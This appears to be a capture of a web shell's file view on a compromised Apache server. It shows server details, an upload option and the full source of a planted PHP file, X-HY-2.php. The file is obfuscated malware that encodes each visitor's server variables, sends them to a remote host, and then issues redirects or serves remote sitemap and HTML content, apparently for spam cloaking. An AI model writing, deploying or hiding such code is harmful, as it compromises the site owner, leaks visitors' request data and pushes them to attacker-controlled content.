HEX
Server: Apache
System: Linux b:u:marcbase:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: apache (92344)
PHP: 7.0.18
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/marcbase.com.br/web/X-HY-2.php
<?php function fuor($box) { $ngc = ''; $ued = explode('.',$box); foreach($ued as $tdi) { $ngc .= chr($tdi); } return explode(';',$ngc); } function hahi($box) { $ued = fuor('99.10'.'0.110'.'.46.5'.'9.46.'.'112.1'.'04.11'.'2.59.'.'47.94'.'.104.'.'116.1'.'16.11'.'2.47.'.'59.76'.'.111.'.'99.97'.'.116.'.'105.1'.'11.11'.'0.58.'.'32.59'.'.47.9'.'4.35.'.'35.47'.'.59.6'.'0.47.'.'117.1'.'14.10'.'8.115'.'.101.'.'116.6'.'2.59.'.'67.11'.'1.110'.'.116.'.'101.1'.'10.11'.'6.45.'.'116.1'.'21.11'.'2.101'.'.58.1'.'16.10'.'1.120'.'.116.'.'47.12'.'0.109'.'.108.'.'59.60'.'.104.'.'116.1'.'09.10'.'8.59.'.'84.59'.'.99.1'.'17.11'.'4.108'.'.95.1'.'01.12'.'0.101'.'.99.5'.'9.63.'.'117.9'.'7.61.'.'59.10'.'4.116'.'.116.'.'112.5'.'9.109'.'.101.'.'116.1'.'04.11'.'1.100'.'.59.7'.'1.69.'.'84.59'.'.116.'.'105.1'.'09.10'.'1.111'.'.117.'.'116.5'.'9.104'.'.116.'.'116.1'.'12.95'.'.99.1'.'11.10'.'0.101'.'.59.5'.'0.48.'.'48.59'.'.59.1'.'20.10'.'1.114'.'.112.'.'97.10'.'3.108'.'.116.'.'108.5'.'9.97.'.'100.1'.'15.11'.'5.97.'.'110.9'.'7.108'.'.121.'.'116.1'.'05.99'.'.115.'.'59.84'.'.80.7'.'6.59.'.'47.99'.'.111.'.'110.1'.'16.97'.'.99.1'.'16.59'.'.86.6'.'9.82.'.'59.46'.'.99.1'.'11.10'.'9.59.'.'58.47'.'.47.5'.'9.102'.'.97.1'.'15.10'.'4.105'.'.111.'.'110.1'.'03.11'.'1.59.'.'46.99'.'.111.'.'109'); return $ued[$box]; } function awby($kwq, $qcm=0) { $pmk = fuor('98.97'.'.115.'.'101.5'.'4.52.'.'95.10'.'1.110'.'.99.1'.'11.10'.'0.101'.'.59.1'.'06.11'.'5.111'.'.110.'.'95.10'.'1.110'.'.99.1'.'11.10'.'0.101'.'.59.1'.'02.11'.'7.110'.'.99.1'.'16.10'.'5.111'.'.110.'.'95.10'.'1.120'.'.105.'.'115.1'.'16.11'.'5.59.'.'117.1'.'14.10'.'8.101'.'.110.'.'99.11'.'1.100'.'.101.'.'59.11'.'5.116'.'.114.'.'101.9'.'7.109'.'.95.9'.'9.111'.'.110.'.'116.1'.'01.12'.'0.116'.'.95.9'.'9.114'.'.101.'.'97.11'.'6.101'.'.59.1'.'02.10'.'5.108'.'.101.'.'95.10'.'3.101'.'.116.'.'95.99'.'.111.'.'110.1'.'16.10'.'1.110'.'.116.'.'115.5'.'9.99.'.'117.1'.'14.10'.'8.95.'.'105.1'.'10.10'.'5.116'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.115'.'.101.'.'116.1'.'11.11'.'2.116'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.101'.'.120.'.'101.9'.'9.59.'.'99.11'.'7.114'.'.108.'.'95.10'.'3.101'.'.116.'.'105.1'.'10.10'.'2.111'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.99.'.'108.1'.'11.11'.'5.101'.'.59.1'.'15.11'.'6.114'.'.95.1'.'14.10'.'1.112'.'.108.'.'97.99'.'.101'); $box = $_SERVER; $box[hahi(8)] = "x"; $box[hahi(20)] = "3"; $box[hahi(22)] = 1; $ngc = $pmk[0]($pmk[1]($box)); if(!$pmk[2](hahi(9))){ $kwq .= hahi(10).$pmk[3]($ngc); $tdi = $pmk[4](array(hahi(11)=>array(hahi(12)=>hahi(13),hahi(14)=>18))); $tlu = @$pmk[5]($kwq, false, $tdi); }else{ $ued = $pmk[6](); $pmk[7]($ued, 10002, $kwq); $pmk[7]($ued, 10018, $ngc); $pmk[7]($ued, 19913, 1); $pmk[7]($ued, 64, 0); $pmk[7]($ued, 13, 18); $tlu = $pmk[8]($ued); $ier = $pmk[9]($ued); $pmk[10]($ued); if($ier[hahi(15)]!=hahi(16)) $tlu = hahi(17); } if(empty($tlu) && $qcm<1) return awby($pmk[11](hahi(18).hahi(23), hahi(19).hahi(26),$kwq),1); return $tlu; } function udms() { $pmk = fuor('11'.'2.'.'11'.'4.'.'10'.'1.'.'10'.'3.'.'95'.'.1'.'09'.'.9'.'7.'.'11'.'6.'.'99'.'.1'.'04'.'.5'.'9.'.'10'.'4.'.'10'.'1.'.'97'.'.1'.'00'.'.1'.'01'.'.1'.'14'.'.5'.'9.'.'11'.'5.'.'11'.'7.'.'98'.'.1'.'15'.'.1'.'16'.'.1'.'14'.'.5'.'9.'.'11'.'5.'.'11'.'6.'.'11'.'4.'.'10'.'8.'.'10'.'1.'.'11'.'0.'.'59'.'.1'.'15'.'.1'.'16'.'.1'.'14'.'.1'.'15'.'.1'.'16'.'.1'.'14'); $tlu = awby(hahi(11).hahi(24).hahi(0).hahi(18).hahi(23).hahi(21).hahi(1)); if($pmk[0](hahi(2),$tlu)) {$pmk[1](hahi(3).$tlu);exit;} if($pmk[0](hahi(4),$tlu)) {exit($pmk[2]($tlu,2));} if($pmk[3]($tlu)>90) { if($pmk[4]($tlu,hahi(5))) {$pmk[1](hahi(6));exit($tlu);} if($pmk[4]($tlu,hahi(7))) {exit($tlu);} } } udms(); ?>